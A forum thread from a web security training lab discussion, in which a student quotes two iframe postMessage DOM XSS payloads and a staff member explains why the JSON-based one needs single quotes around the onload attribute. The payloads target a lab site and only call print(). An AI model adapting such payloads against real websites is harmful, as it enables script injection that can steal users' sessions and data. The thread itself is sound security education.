Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Lab: DOM XSS using web messages and JSON.parse

Student921 | Last updated: Jul 21, 2022 01:52AM UTC

Hey, the Solution Payload is following: <iframe src=https://your-lab-id.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'> Can anybody explain why this time we are using/it only works with single quotes (') around the value of onload and double quotes (") around the parameters while in the previous labs it worked the other way around: <iframe src="https://your-lab-id.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')"> Thanks!

Michelle, PortSwigger Agent | Last updated: Jul 25, 2022 12:21PM UTC

In the lab 'DOM XSS using web messages and JSON.parse' the double quotes are needed to create valid JSON. If you also used double quotes around the value of onload then the double quotes in the JSON would be seen as closing the onload value, so single quotes are used instead. I hope this helps.

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.